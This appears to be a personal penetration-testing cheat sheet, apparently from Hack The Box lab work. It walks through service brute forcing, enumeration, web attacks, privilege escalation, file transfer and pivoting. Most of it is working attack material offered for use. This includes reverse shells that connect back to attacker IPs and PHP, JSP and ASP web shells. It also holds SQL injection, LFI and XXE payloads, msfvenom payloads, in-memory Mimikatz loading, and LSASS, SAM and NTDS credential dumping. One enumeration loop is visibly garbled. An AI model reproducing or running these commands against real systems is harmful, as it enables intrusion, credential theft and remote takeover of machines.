

Offensive Security Notes - Creanyx0

BRUTE FORCE AND WORDLIST ATTACKS

Brute Force to services

Hydra

```
hydra -l username -P /usr/share/wordlists/rockyou.txt service://IP
```

Example: `hydra -l root -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.10`

```
-l: login name  
-L: user list  
-p: password  
-P: password list
```

Brute force login

Basic Auth Brute Force - Combined Wordlist:

```
hydra -C wordlist.txt SERVER_IP -s PORT http-get /
```

Basic Auth Brute Force - User/Pass Wordlists:

```
hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get /
```

Login Form Brute Force - Static User, Pass Wordlist:

```
hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form  
"/login.php:username=^USER^&password=^PASS^:F=<form name='login'"
```

SSH Brute Force - User/Pass Wordlists:

```
hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4
```

Brute force/cracking hashes

- John:

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

```
john --status
```

```
john --show hashes.txt
```

- Hashcat:

```
hashcat -a 0 -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
```

```
hashcat -a 3 -m 0 hashes.txt ?a?a?a?a?a?a?a?a
```

SERVICES AND PROTOCOLS

SSH

Port 22 by default.

Using an SSH public/private key pair:

1. Generate a key pair (public and private key): `ssh-keygen`
2. Put the public key on the server.
3. When you SSH into the server, your SSH client proves to the server that you have the corresponding private key: `ssh -i ~/.ssh/custom_key_name`

```
SYSUSER@IP_ADDRESS_OF_SERVER
```

Command to connect with SSH:

```
ssh Username@IP
```

```
ssh -i id_rsa Username@IP
```

Netcat

Netcat, ncat or nc is the same.

Can be used to connect to any listening port and interact with the service running on that port:

```
nc IP Port
```

Netcat is interesting to banner grabbing and transfer files between machines.

Banner grabbing with netcat:

```
nc -nv IP PORT
```

Banner grabbing with nmap:

```
`nmap -sV --script=banner -pPORT IP`
```

Powercat

Alternative to netcat is Powercat (<https://github.com/besimorhino/powercat>)

Socat

Another similar network utility is socat, which has a few features that netcat does not support, like forwarding ports and connecting to serial devices.

<https://linux.die.net/man/1/socat>

Upgrade Shell TTY with socat:

<https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-2-using-socat>

Tmux

Terminal multiplexers, like tmux or Screen, are great utilities for expanding a standard Linux terminal's features, like having multiple windows within one terminal and jumping between them.

Install Tmux: `sudo apt install tmux -y`

CheatSheet: <https://tmuxcheatsheet.com/>

FTP

Port 21 by default.

Command to connect:

```
ftp -p IP
```

Common commands such as `cd` and `ls` and allows us to download files using the `get` command.

For example:

```
get file.txt
```

Upload a file:

```
put file.txt
```

Download all available files:

```
wget -m --no-passive ftp://anonymous:anonymous@IP
```

Service interaction:

```
nc -nv IP 21, telnet IP 21
```

Openssl:

```
openssl s_client -connect IP:21 -starttls ftp
```

SMB (Samba)

Some SMB versions may be vulnerable to RCE exploits such as EternalBlue.

Nmap has many scripts for enumerating SMB:

```
nmap --script smb-os-discovery.nse -p445 IP
```

```
nmap -A -p445 IP
```

Samba status:

```
smbstatus
```

Download a file:

```
smbmap -H 10.10.10.10 --download "file\file.txt"
```

Upload a file:

```
smbmap -H 10.10.0.10 --upload test.txt "file\test.txt"
```

Password spraying:

```
crackmapexec smb 10.10.10.3 -u /tmp/userlist.txt -p 'password'
```

Connect to smb:

```
impacket-psexec administrator:'password'@10.10.10.10
```

Extract hashes:

```
crackmapexec smb 10.10.10.17 -u administrator -p 'password' --sam
```

Pass the hash:

```
crackmapexec smb 10.10.11.17 -u Administrator -H 2B52ACBE6BCF573118041B8FE
```

Loggedon users:

```
crackmapexec smb 10.10.10.0/24 -u administrator -p 'password' --loggedon-users
```

Shares

SMB allows users and administrators to share folders and make them accessible remotely by other users.

smbclient: Is a tool that can enumerate and interact with SMB shares.

The `-L` flag specifies that we want to retrieve a list of available shares on the remote host, while `-N` suppresses the password prompt.

- `smbclient -N -L \\\IP` or `smbclient -N -L //IP`
- `smbclient \\\IP\\folder`
- `smbclient -U username \\\IP\\folder`

rpcclient:

- `rpcclient -U "" IP`

srvinfo	Server information.
enumdomains	Enumerate all domains that are deployed in the network.
querydominfo	Provides domain, service and user information on deployed domains.
netshareenumall	Enumerates all available shares.
netsharegetinfo <share>	Provides information about a specific share.
enumdomusers	Enumerates all domain users.
queryuser <RID>	Provides information about a specific user.

srvinfo

Server information.

```
* Brute Forcing User RIDs: `for i in  
(seq5001100); do rpcclient -N -U "" 10.129.14.128 -c //queryuser0x  
(printf '%x\n' $i)"
```

```
grep "User  
Name|user_rid|group_  
&& echo "" ;done`
```

Impacket

<https://github.com/fortra/impacket>

<https://github.com/fortra/impacket/blob/master/examples/samrdump.py>

```
samrdump.py IP
```

sbmap

<https://github.com/ShawnDEvans/smbmap>

```
smbmap -H IP
```

CrackMapExec

<https://github.com/byt3bl33d3r/CrackMapExec>

```
crackmapexec smb IP --shares -u '' -p ''
```

Enum4Linux

<https://github.com/cddmp/enum4linux-ng>

```
git clone https://github.com/cddmp/enum4linux-ng.git
```

```
cd enum4linux-ng
```

```
pip3 install -r requirements.txt
```

```
./enum4linux-ng.py IP -A
```

NFS

When footprinting NFS, the TCP ports 111 and 2049 are essential.

```
sudo nmap --script nfs* IP -sV -p111,2049
```

Show Available NFS Shares

```
showmount -e IP
```

Mounting NFS Share

```
mkdir target-NFS
```

```
sudo mount -t nfs IP:/ ./target-NFS/ -o nolock
```

```
cd target-NFS
```

Unmounting

```
sudo umount ./target-NFS
```

DNS

```
dig soa www.domain.com
```

```
dig ns domain.htb @IP
```

```
dig CH TXT version.bind IP
```

```
dig any domain.htb @IP
```

Zone transfer:

```
dig axfr domain.htb @IP
```

SNMP

The manufacturer default community strings of `public` and `private` are often unchanged.

Service scanning:

- `snmpwalk -v 2c -c public IP 1.3.6.1.2.1.1.5.0`
- `snmpwalk -v 2c -c private 10.129.42.253`

Footprint:

```
snmpwalk -v2c -c public IP
```

A tool such as onesixtyone can be used to brute force the community string names using a dictionary file of common community strings such as the `dict.txt` file included in the GitHub repo for the tool.

If we do not know the community string, we can use:

```
onesixtyone -c /opt/useful/SecLists/Discovery/SNMP/snmp.txt IP
```

<https://github.com/trailofbits/onesixtyone>

```
onesixtyone -c dict.txt IP
```

Once we know a community string, we can use it with `braa` to brute-force the individual OIDs and enumerate the information behind them.

```
braa <community string>@<IP>:.1.3.6.*
```

SMTP

Telnet: `telnet IP 25`

Commands: `HELO/EHLO`, `VRFY`

Open relay:

```
sudo nmap IP -p25 --script smtp-open-relay -v
```


IMAP / POP3

Common ports: 110,143,993,995

IMAP commands:

<code>1 LOGIN username password</code>	User's login.
<code>1 LIST "" *</code>	Lists all directories.
<code>1 CREATE "INBOX"</code>	Creates a mailbox with a specified name.
<code>1 DELETE "INBOX"</code>	Deletes a mailbox.
<code>1 RENAME "ToRead" "Important"</code>	Renames a mailbox.
<code>1 LSUB "" *</code>	Returns a subset of names from the set of names that the User has declared as being <code>active</code> or <code>subscribed</code> .
<code>1 SELECT INBOX</code>	Selects a mailbox so that messages in the mailbox can be accessed.
<code>1 UNSELECT INBOX</code>	Exits the selected mailbox.
<code>1 FETCH <ID> all</code>	Retrieves data associated with a message in the mailbox.
<code>1 CLOSE</code>	Removes all messages with the <code>Deleted</code> flag set.
<code>1 LOGOUT</code>	Closes the connection with the IMAP server.

POP3 commands:

<code>USER username</code>	Identifies the user.
<code>PASS password</code>	Authentication of the user using its password.
<code>STAT</code>	Requests the number of saved emails from the server.
<code>LIST</code>	Requests from the server the number and size of all emails.
<code>RETR id</code>	Requests the server to deliver the requested email by ID.
<code>DELE id</code>	Requests the server to delete the requested email by ID.
<code>CAPA</code>	Requests the server to display the server capabilities.
<code>RSET</code>	Requests the server to reset the transmitted information.
<code>QUIT</code>	Closes the connection with the POP3 server.

IMAP:

```
curl -k 'imaps://IP' --user user:p4ssw0rd
```

```
openssl s_client -connect IP:imaps
```

POP3:

```
openssl s_client -connect IP:pop3s
```

MySQL

Common port: 3306

Scanning:

```
sudo nmap IP -sV -sC -p3306 --script mysql*
```

Interact:

```
mysql -u user -h IP
```

```
mysql -u user -pP4SSw0rd -h IP
```

Commands:

```
MySQL [(none)]> show databases;
```

```
Select database;
```

```
use database;
```

```
show tables;
```

Command	Description
<code>mysql -u <user> -p<password> -h <IP address></code>	Connect to the MySQL server. There should not be a space between the '-p' flag, and the password.
<code>show databases;</code>	Show all databases.
<code>use <database>;</code>	Select one of the existing databases.
<code>show tables;</code>	Show all available tables in the selected database.
<code>show columns from <table>;</code>	Show all columns in the selected database.
<code>select * from <table>;</code>	Show everything in the desired table.
<code>select * from <table> where <column> = "<string>";</code>	Search for needed <code>string</code> in the desired table.

Create a file: `mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE
' /var/www/html/webshell.php'`

Read local files: `mysql> select LOAD_FILE("/etc/passwd");`

MSSQL

Databases:

Default System Database	Description
master	Tracks all system information for an SQL server instance
model	Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database
msdb	The SQL Server Agent uses this database to schedule jobs & alerts
tempdb	Stores temporary objects
resource	Read-only database containing system objects included with SQL server

Script scan:

```
creanyx@htb[/htb]$ sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p port IP
```

Metasploit:

```
msf6 auxiliary(scanner/mssql/mssql_ping)
```

Connecting with Mssqlclient.py

```
python3 mssqlclient.py Administrator@IP -windows-auth
```

Connect: `sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30`, `sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h`

Execute: `sqlcmd> xp_cmdshell 'whoami'`

Read local files: `sqlcmd> SELECT * FROM OPENROWSET(BULK
N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents`

Identify the user and privileges: `sqlcmd> EXECUTE('select @@servername, @@version,
system_user, is_srvrolemember(''sysadmin'')) AT [10.0.0.12\SQLEXPRESS]`

IPMI

NMAP:

```
sudo nmap -sU --script ipmi-version -p 623 ilo.domain.local
```

Metasploit:

```
use auxiliary/scanner/ipmi/ipmi_version
```

Dumping hashes:

```
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
```

RDP

Password spraying: `crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c
'password123'`

Brute force: `hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp`

Connect: ``rdesktop -u admin -p password123 192.168.2.143, xfreerdp
/u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25`

Impersonate a user without privilege: `tscon #{TARGET_SESSION_ID} /dest:#
{OUR_SESSION_NAME}`

Pass the hash: `xfreerdp /v:192.168.2.141 /u:admin
/pth:A9FDFA038C4B75EBC76DC855DD74F0DA`

Connect to a Windows target using the Remote Desktop Protocol (RDP): `xfreerdp /v:IP
/u:username /p:password`

WEB

Directory/File Enumeration

Gobuster: `gobuster dir -u http://IP/ -w /usr/share/dirb/wordlists/common.txt`

DNS Subdomain Enumeration

Gobuster:

`gobuster dns -d domain.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt`

Subdomain brute force:

```
for sub in $(cat /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.domain.htb @IP | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
```

```
dnsenum --dnsserver IP --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt domain.htb
```

```
dnsenum --enum domain.com -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r
```

Ffuf

Directory Fuzzing: `ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ`

Extension Fuzzing: `ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ`

Subdomain Fuzzing: `ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/`

Wordlists

<https://github.com/danielmiessler/SecLists>

Banner Grabbing / Web Server Headers

Curl:

```
curl -IL https://www.domain.com
```

Another handy tool is EyeWitness, which can be used to take screenshots of target web applications, fingerprint them, and identify possible default credentials.

<https://github.com/RedSiege/EyeWitness>

Version of web servers

Whatweb: `whatweb IP`

Finding Public Exploits

SearchSploit: `searchsploit openssh 7.2`

ExploitDB: <https://www.exploit-db.com/>

Netcat Listener

```
nc -lvnp port
```

Reverse Shell Command

```
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
```

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
```

```
powershell -nop -c "$client = New-Object  
System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();  
[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data =  
(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex  
$data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt =  
([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush();  
$client.Close()"
```

```
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9443 >/tmp/f"); ?>
```

More reverse shell:

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>

Bind Shell Command

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
```

```
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True:\nd=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
```

Upgrading TTY

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Other commands:

- `python -c 'import pty; pty.spawn("/bin/sh")'`
- `/bin/sh -i`
- `perl -e 'exec "/bin/sh";'`
- `ruby: exec "/bin/sh"`

- `awk 'BEGIN {system("/bin/sh")}'`
- `find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;`
- `find . -exec /bin/sh \; -quit`
- `vim -c '!/bin/sh'`

Web shell

```
<?php system($_REQUEST["cmd"]); ?>
```

```
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

```
<% eval request("cmd") %>
```

Uploading a Web Shell

```
echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php
```

Accessing Web Shell

```
curl http://SERVER_IP:PORT/shell.php?cmd=id
```

SQL Injection

Auth Bypass

```
admin' or '1'='1
```

Basic Auth Bypass

```
admin')-- -
```

Basic Auth Bypass With comments

Union Injection

```
' order by 1-- -
```

Detect number of columns using `order by`

```
cn' UNION select 1,2,3-- -
```

Detect number of columns using Union injection

```
cn' UNION select 1,@@version,3,4-- -
```

Basic Union injection

```
UNION select username, 2, 3, 4 from passwords-- -
```

Union injection for 4 columns

DB Enumeration

<code>SELECT @@version</code>	Fingerprint MySQL with query output
<code>SELECT SLEEP(5)</code>	Fingerprint MySQL with no output
<code>cn' UNION select 1,database(),2,3-- -</code>	Current database name
<code>cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -</code>	List all databases
<code>cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -</code>	List all tables in a specific database
<code>cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -</code>	List all columns in a specific table
<code>cn' UNION select 1, username, password, 4 from dev.credentials-- -</code>	Dump data from a table in another database

File Injection

<code>cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -</code>	Read local file
<code>select 'file written successfully!' into outfile '/var/www/html/proof.txt'</code>	Write a string to a local file
<code>cn' union select "", '<?php system(\$_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -</code>	Write a web shell into the base web directory

SQLmap

Passing an HTTP request file to SQLMap: `sqlmap -r req.txt`

Basic DB enumeration: `sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba`

Reading a local file: `sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"`

Writing a file: `sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"`

Spawning an OS shell: `sqlmap -u "http://www.example.com/?id=1" --os-shell`

Interesting commands: `--dump`, `--dbs`

XSS

Basic XSS Payload: `<script>alert(window.origin)</script>`

Load remote script: `<script src="http://OUR_IP/script.js"></script>`

File inclusion

Basic LFI: `/index.php?language=/etc/passwd`

LFI with path traversal: `/index.php?language=../../../../etc/passwd`

Bypass basic path traversal filter: `/index.php?`

`language=../../../../../../../../etc/passwd`

Bypass filters with URL encoding: `/index.php?`

`language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64`

Read PHP with base64 filter: `/index.php?language=php://filter/read=convert.base64-encode/resource=config`

LFI + Upload: `echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif, /index.php?language=./profile_images/shell.gif&cmd=id`

Create malicious zip archive 'as jpg': `echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php, /index.php?language=zip://shell.zip%23shell.php&cmd=id`

XXE

Define External Entity to a URL: `<!ENTITY xxe SYSTEM "http://localhost/email.dtd">`

Define External Entity to a file path: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`

Reading a file through a PHP error: `<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'">`

Wordpress

`sudo wpscan --url <http://domainnameoripaddress> --enumerate`

`sudo wpscan --password-attack xmlrpc -t 20 -U john -P`

`/usr/share/wordlists/rockyou.txt --url <http://domainnameoripaddress>`

Joomla

```
droopescan scan joomla --url http://<domainnameoripaddress>
```

```
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w
```

```
/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr <username  
or path to username list>
```

Tomcat

Metasploit: `auxiliary/scanner/http/tomcat_mgr_login`

PRIVILEGE ESCALATION

Linux privilege escalation

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md>

<https://github.com/rebootuser/LinEnum>

<https://github.com/sleventyeleven/linuxprivchecker>

User Privileges: `sudo -l`, `sudo su -`, `sudo -u user /bin/echo Hello World!`, `su -`

Linenum: <https://github.com/rebootuser/LinEnum>

LINPEAS

See processes running as root: `ps aux | grep root`

Check the current user's Bash history: `history`

Find world-writeable directories: `find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null`

Find world-writeable files: `find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null`

Search for config files: `find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null`

Kernel version: `uname -a`

User run anything as another user: `sudo -l`

Find binaries with the SUID bit set: `find / -user root -perm -4000 -exec ls -ldb {} \;`

`2>/dev/null`

Windows privilege escalation

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>

<https://github.com/GhostPack/Seatbelt>

Display running processes: `tasklist /svc`

View current user privileges: `whoami /priv`

Get all system users: `net user`

Display active network connections: `netstat -ano`

Connect using mssqlclient.py: `mssqlclient.py sql_dev@10.129.43.30 -windows-auth, enable_xp_cmdshell, xp_cmdshell whoami`

Escalate privileges with JuicyPotato: `c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t *`

Escalating privileges with PrintSpoofer: `c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"`

Take memory dump with ProcDump: `procdump.exe -accepteula -ma lsass.exe lsass.dmp`

Use MimiKatz to extract credentials from LSASS memory dump: `sekurlsa::minidump lsass.dmp` and `sekurlsa::logonpasswords`

Extract hashes with secretdump.py: `secretdump.py -ntds ntds.dit -system SYSTEM - hashes lmhash:nthash LOCAL`

Confirming UAC is enabled: `REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA`

Search for files with the phrase "password": `findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml`

Searching for passwords in Chrome dictionary files: `gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' |`

Select-String password

Reading PowerShell history file: `gc (Get-PSReadLineOption).HistorySavePath`

Searching file contents for a string: `findstr /spin "password" *.*`

Search for file extensions: `dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred*
== *vnc* == *.config*`

List saved credentials: `cmdkey /list`

Run all LaZagne modules: `.\lazagne.exe all`

Retrieve saved wireless passwords: `netsh wlan show profile`, `netsh wlan show profile
ilfreight_corp key=clear`

Decode file with certutil: `certutil -decode encodedfile file2`

Privilege escalation - PEAS

<https://github.com/peass-ng/PEASS-ng>

Privilege escalation - GTFObins

<https://gtfobins.github.io/>

It contains a list of commands and how they can be exploited through sudo.

Privilege escalation - SSH

If we have read access over the `.ssh` directory for a specific user, we may read their private ssh keys found in `/home/user/.ssh/id_rsa` or `/root/.ssh/id_rsa`, and use it to log in to the server. If we can read the `/root/.ssh/` directory and can read the `id_rsa` file, we can copy it to our machine and use the `-i` flag to log in with it:

- `vim id_rsa`
- `chmod 600 id_rsa`
- `ssh username@ip -i id_rsa`

If we find ourselves with write access to a users `.ssh/` directory, we can place our public key in the user's ssh directory at `/home/user/.ssh/authorized_keys`.

```
ssh-keygen -f key
```

```
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys
```

```
ssh username@IP -i key
```

TRANSFER FILES

Transferring files

- `cd /tmp`
- `python3 -m http.server port`

Wget:

- `wget http://IP:port/file.sh`

Curl:

- `curl http://IP:port/file.sh -o fileOutput.sh`

SCP:

- `scp file.sh user@remotehost:/tmp/file.sh`
- **Download a file:** `Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1, bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe, certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe, wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh, curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh, php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);', scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe`
- **Execute a file in memory:** `IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')`
- **Upload a file:** `Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64, scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip`

PowerShell command used to download a file called backupscript.exe from a webserver (172.16.5.129:8123) and then save the file to location specified after -OutFile .

```
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile  
"C:\backupscript.exe"
```

Unzip

```
unzip file.zip
```

msfvenom

```
msfvenom -p payload LHOST=IP LPORT=PORT -f fileType > nameoffile.elf
```

Examples:

- Linux reverse shell: `msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf`
- Windows reverse shell: `msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe`
- MacOS reverse shell: `msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho`
- ASP web reverse shell: `msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp`

EVASION

Firewall and IDS/IPS Evasion

```
sudo nmap IP -p Ports -sS -Pn -n --disable-arp-ping --packet-trace
```

```
sudo nmap IP -p Ports -sA -Pn -n --disable-arp-ping --packet-trace
```

Filtered port:

```
sudo nmap IP -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port  
53
```

```
ncat -nv --source-port 53 IP 50000
```

Using decoys:

```
sudo nmap IP -p port -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5
```

Using different IP:

```
sudo nmap IP -n -Pn -p port -O -S IPsource -e tun0
```

PIVOTING AND TUNNELING

Pivoting and tunneling

SSH command used to create an SSH tunnel from a local machine on local port 1234 to a remote target using port 3306:

```
ssh -L 1234:localhost:3306 Ubuntu@<IPaddressofTarget>
```

Netstat option used to display network connections associated with a tunnel created.

Using grep to filter based on local port 1234:

```
netstat -antp | grep 1234
```

Nmap command used to scan a host through a connection that has been made on local port 1234.

```
nmap -v -sV -p1234 localhost
```

SSH command that instructs the ssh client to request the SSH server forward all data via port 1234 to localhost:3306.

```
ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPaddressofTarget>
```

SSH command used to perform a dynamic port forward on port 9050 and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.

```
ssh -D 9050 ubuntu@<IPaddressofTarget>
```

Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range 172.16.5.1-200 with increased verbosity (-v) disabling ping scan (-sn).


```
proxychains nmap -v -sn 172.16.5.1-200
```

Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (`-v`), disabling ping discover (`-Pn`), and using TCP connect scan type (`-sT`).

```
proxychains nmap -v -Pn -sT 172.16.5.19
```

Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.

```
proxychains msfconsole
```

Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy.

```
proxychains xfreerdp /v:<IPaddressofTarget> /u:victor /p:pass@123
```

SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port `8080` on the attack host to port `80` on the target.

```
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 ubuntu@<ipAddressofTarget> -vN
```

Metasploit command used to select the autoroute module.

```
msf6 > use post/multi/manage/autoroute
```

Meterpreter command used to display the features of the portfwd command.

```
meterpreter > help portfwd
```

Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.

```
meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget>
```

Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port `1234` listening on the IP address of the Attack Host.

```
meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost>
```

Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy

chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host.

```
plink -D 9050 ubuntu@<IPAddressofTarget>
```

Clones the rpivot project GitHub repository.

```
sudo git clone https://github.com/klseccservices/rpivot.git
```

Used to run the rpivot server (`server.py`) on proxy port `9050` , server port `9999` and listening on any IP address (`0.0.0.0`).

```
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
```

Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.

```
scp -r rpivot ubuntu@<IPAddressOfTarget>
```

Used to run the rpivot client (`client.py`) to connect to the specified rpivot server on the appropriate port.

```
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
```

Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.

```
python client.py --server-ip <IPAddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip IPAddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>
```

Windows-based command that uses `netsh.exe` to configure a portproxy rule called `v4tov4` that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.

```
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25
```

Windows-based command used to view the configurations of a portproxy rule called v4tov4.

```
netsh.exe interface portproxy show v4tov4
```

Clones the `dnscat2` project GitHub repository.

```
git clone https://github.com/iagox86/dnscat2.git
```

Used to start the dnscat2.rb server running on the specified IP address, port (53) & using the domain `inlanefreight.local` with the no-cache option enabled.

```
